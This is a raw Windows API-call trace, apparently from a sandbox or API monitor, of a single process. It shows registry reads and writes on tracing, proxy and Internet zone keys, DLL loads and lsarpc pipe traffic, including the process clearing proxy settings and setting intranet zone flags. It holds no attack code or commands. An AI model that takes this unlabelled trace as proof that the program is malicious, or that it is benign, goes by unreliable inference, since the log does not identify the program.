09:13:11,871	972	RegCreateKeyExA	Handle => 0x000001e0 Access => 983103 Registry => 0x80000002 Class => SubKey => Software\Microsoft\Tracing	SUCCESS	0x00000000
09:13:11,871	972	RegQueryValueExA	Handle => 0x000001e0 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
09:13:11,871	972	RegCloseKey	Handle => 0x000001e0	SUCCESS	0x00000000
09:13:11,881	972	RegOpenKeyExA	Handle => 0x000001e8 Registry => 0x80000002 SubKey => Software\Microsoft\Tracing\RASAPI32	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableFileTracing	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => FileTracingMask	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => ConsoleTracingMask	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 1048576 ValueName => MaxFileSize	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => %windir%\tracing\x00 ValueName => FileDirectory	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableFileTracing	SUCCESS	0x00000000
09:13:11,881	972	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => FileTracingMask	SUCCESS	0x00000000
09:13:11,911	972	RegQueryValueExA	Handle => 0x000001e8 Data => 0 ValueName => EnableConsoleTracing	SUCCESS	0x00000000
09:13:11,911	972	RegQueryValueExA	Handle => 0x000001e8 Data => 4294901760 ValueName => ConsoleTracingMask	SUCCESS	0x00000000
09:13:11,911	972	RegQueryValueExA	Handle => 0x000001e8 Data => 1048576 ValueName => MaxFileSize	SUCCESS	0x00000000
09:13:11,911	972	RegQueryValueExA	Handle => 0x000001e8 Data => %windir%\tracing\x00 ValueName => FileDirectory	SUCCESS	0x00000000
09:13:11,911	972	OpenSCManagerW	MachineName => DatabaseName => DesiredAccess => 2147483648	SUCCESS	0x002e9fb8
09:13:11,941	972	OpenServiceW	ServiceControlManager => 0x002e9fb8 ServiceName => RASMAN DesiredAccess => 4	SUCCESS	0x002e9cb8
09:13:11,941	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:11,941	972	OpenSCManagerA	MachineName => DatabaseName => DesiredAccess => 2147483648	SUCCESS	0x002ea0d0
09:13:12,001	972	LdrLoadDll	Flags => 522532 BaseAddress => 0x722b0000 FileName => sensapi.dll	SUCCESS	0x00000000
09:13:12,001	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => IsNetworkAlive FunctionAddress => 0x722b1260 ModuleHandle => 0x722b0000	SUCCESS	0x00000000
09:13:12,001	972	NtOpenSection	DesiredAccess => 0x00000004 ObjectAttributes => C:\SENS Information Cache SectionHandle => 0x000001f4	SUCCESS	0x00000000
09:13:12,011	972	ZwMapViewOfSection	SectionOffset => 0x0007f8fc SectionHandle => 0x000001f4 ProcessHandle => 0xffffffff BaseAddress => 0x00280000	SUCCESS	0x00000000
09:13:12,011	972	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000001fc	SUCCESS	0x00000000
09:13:12,011	972	NtSetInformationFile	FileHandle => 0x000001fc FileInformation =>	SUCCESS	0x00000000	1 time
09:13:12,011	972	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000001fc	SUCCESS	0x00000000
09:13:12,021	972	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb5F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000001fc	SUCCESS	0x00000000
09:13:12,041	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:12,041	972	RegOpenKeyExA	Handle => 0x000001f8 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,041	972	RegQueryValueExA	Handle => 0x000001f8 DataLength => 4 ValueName => ProxySettingsPerUser Type => 504	FAILURE	0x00000002
09:13:12,051	972	RegCloseKey	Handle => 0x000001f8	SUCCESS	0x00000000
09:13:12,051	972	LdrLoadDll	Flags => 520976 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:12,051	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:12,051	972	RegOpenKeyExW	Handle => 0x00000200 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:12,051	972	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
09:13:12,051	972	RegOpenKeyExA	Handle => 0x00000200 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,051	972	RegQueryValueExA	Handle => 0x00000200 DataLength => 4 ValueName => ProxySettingsPerUser Type => 512	FAILURE	0x00000002
09:13:12,051	972	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
09:13:12,051	972	LdrLoadDll	Flags => 521436 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:12,051	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:12,051	972	RegOpenKeyExW	Handle => 0x00000200 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:12,051	972	RegCreateKeyExA	Handle => 0x00000204 Access => 1 Registry => 0x00000200 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
09:13:12,051	972	RegQueryValueExA	Handle => 0x00000204 DataLength => 56 ValueName => DefaultConnectionSettings Type => 3	SUCCESS	0x00000000
09:13:12,051	972	RegQueryValueExA	Handle => 0x00000204 Data => ValueName => DefaultConnectionSettings	SUCCESS	0x00000000
09:13:12,051	972	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
09:13:12,051	972	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
09:13:12,051	972	RegOpenKeyExA	Handle => 0x00000204 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,051	972	RegQueryValueExA	Handle => 0x00000204 DataLength => 4 ValueName => ProxySettingsPerUser Type => 516	FAILURE	0x00000002
09:13:12,051	972	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
09:13:12,051	972	LdrLoadDll	Flags => 521452 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:12,051	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:12,051	972	RegOpenKeyExW	Handle => 0x00000204 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:12,051	972	RegCreateKeyExA	Handle => 0x00000200 Access => 131078 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,051	972	RegSetValueExA	Handle => 0x00000200 Buffer => 0 ValueName => ProxyEnable Type => 4	SUCCESS	0x00000000
09:13:12,051	972	RegDeleteValueA	Handle => 0x00000200 ValueName => ProxyServer	FAILURE	0x00000002
09:13:12,051	972	RegDeleteValueA	Handle => 0x00000200 ValueName => ProxyOverride	FAILURE	0x00000002
09:13:12,061	972	RegDeleteValueA	Handle => 0x00000200 ValueName => AutoConfigURL	FAILURE	0x00000002
09:13:12,061	972	RegCloseKey	Handle => 0x00000200	SUCCESS	0x00000000
09:13:12,061	972	RegCreateKeyExA	Handle => 0x00000208 Access => 2 Registry => 0x80000005 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,061	972	RegSetValueExA	Handle => 0x00000208 Buffer => 0 ValueName => ProxyEnable Type => 4	SUCCESS	0x00000000
09:13:12,061	972	RegCloseKey	Handle => 0x00000208	SUCCESS	0x00000000
09:13:12,061	972	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
09:13:12,061	972	RegOpenKeyExA	Handle => 0x00000204 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,061	972	RegQueryValueExA	Handle => 0x00000204 DataLength => 4 ValueName => ProxySettingsPerUser Type => 516	FAILURE	0x00000002
09:13:12,061	972	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
09:13:12,061	972	LdrLoadDll	Flags => 521396 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:12,061	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:12,061	972	RegOpenKeyExW	Handle => 0x00000204 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:12,061	972	RegCreateKeyExA	Handle => 0x00000208 Access => 1 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
09:13:12,061	972	RegQueryValueExA	Handle => 0x00000208 DataLength => 56 ValueName => SavedLegacySettings Type => 3	SUCCESS	0x00000000
09:13:12,061	972	RegQueryValueExA	Handle => 0x00000208 Data => ValueName => SavedLegacySettings	SUCCESS	0x00000000
09:13:12,061	972	RegCreateKeyExA	Handle => 0x0000020c Access => 2 Registry => 0x00000204 Class => SubKey => Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	SUCCESS	0x00000000
09:13:12,061	972	RegCloseKey	Handle => 0x00000204	SUCCESS	0x00000000
09:13:12,061	972	RegCloseKey	Handle => 0x00000208	SUCCESS	0x00000000
09:13:12,061	972	RegSetValueExA	Handle => 0x0000020c Buffer => ValueName => SavedLegacySettings Type => 3	SUCCESS	0x00000000
09:13:12,071	972	RegCloseKey	Handle => 0x0000020c	SUCCESS	0x00000000
09:13:12,081	972	LdrLoadDll	Flags => 521916 BaseAddress => 0x7e1e0000 FileName => urlmon.dll	SUCCESS	0x00000000
09:13:12,081	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetCreateSecurityManager FunctionAddress => 0x7e1e30e7 ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
09:13:12,081	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetCreateZoneManager FunctionAddress => 0x7e1e9bd7 ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
09:13:12,081	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInternetIsFeatureEnabledForUrl FunctionAddress => 0x7e1ebb5e ModuleHandle => 0x7e1e0000	SUCCESS	0x00000000
09:13:12,081	972	RegOpenKeyExA	Handle => 0x00000210 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
09:13:12,081	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	FAILURE	0x00000002
09:13:12,081	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	FAILURE	0x00000002
09:13:12,081	972	RegOpenKeyExA	Handle => 0x00000218 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
09:13:12,081	972	RegOpenKeyExA	Handle => 0x0000021c Registry => 0x00000218 SubKey => Ranges\	SUCCESS	0x00000000
09:13:12,081	972	RegQueryInfoKeyW	MaxClassLength => 0 MaxValueLength => 0 MaxValueNameLength => 0 ValueCount => 0 MaxSubKeyLength => 0 KeyHandle => 0x0000021c SubKeyCount => 0 Class =>	SUCCESS	0x00000000
09:13:12,081	972	RegCloseKey	Handle => 0x0000021c	SUCCESS	0x00000000
09:13:12,081	972	NtCreateSection	ObjectAttributes => C:\UrlZonesSM_TDW DesiredAccess => 0x000f0007 SectionHandle => 0x0000021c FileHandle => 0x00000000	SUCCESS	0x40000000
09:13:12,091	972	ZwMapViewOfSection	SectionOffset => 0x0007f520 SectionHandle => 0x0000021c ProcessHandle => 0xffffffff BaseAddress => 0x00fe0000	SUCCESS	0x00000000
09:13:12,091	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => System\Setup	SUCCESS	0x00000000
09:13:12,091	972	RegQueryValueExW	Handle => 0x00000220 Data => 0 ValueName => SystemSetupInProgress	SUCCESS	0x00000000
09:13:12,091	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,091	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	SUCCESS	0x00000000
09:13:12,091	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 0	SUCCESS	0x00000000
09:13:12,091	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,091	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 1	SUCCESS	0x00000000
09:13:12,091	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,091	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 2	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 3	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x00000220 SubKey => 4	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	SUCCESS	0x00000000
09:13:12,101	972	RegEnumKeyExW	Index => 0 Handle => 0x00000220 Name => 0 Class =>	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
09:13:12,101	972	RegQueryValueExW	Handle => 0x00000228 Data => 33 ValueName => Flags	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,101	972	RegEnumKeyExW	Index => 1 Handle => 0x00000220 Name => 1 Class =>	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	FAILURE	0x00000002
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
09:13:12,101	972	RegQueryValueExW	Handle => 0x00000228 Data => 219 ValueName => Flags	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x0000022c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
09:13:12,101	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => ProxyBypass Type => 4	SUCCESS	0x00000000
09:13:12,101	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => IntranetName Type => 4	SUCCESS	0x00000000
09:13:12,101	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => UNCAsIntranet Type => 4	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x0000022c	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,101	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,101	972	RegEnumKeyExW	Index => 2 Handle => 0x00000220 Name => 2 Class =>	SUCCESS	0x00000000
09:13:12,101	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 71 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 3 Handle => 0x00000220 Name => 3 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 1 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 4 Handle => 0x00000220 Name => 4 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 3 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 5 Handle => 0x00000220 Name => 4 Class =>	FAILURE	0x00000103
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 0 Handle => 0x00000220 Name => 0 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 33 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 1 Handle => 0x00000220 Name => 1 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 219 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x0000022c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	SUCCESS	0x00000000
09:13:12,111	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => ProxyBypass Type => 4	SUCCESS	0x00000000
09:13:12,111	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => IntranetName Type => 4	SUCCESS	0x00000000
09:13:12,111	972	RegSetValueExW	Handle => 0x0000022c Buffer => 1 ValueName => UNCAsIntranet Type => 4	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x0000022c	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 2 Handle => 0x00000220 Name => 2 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 71 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 3 Handle => 0x00000220 Name => 3 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 1 ValueName => Flags	SUCCESS	0x00000000
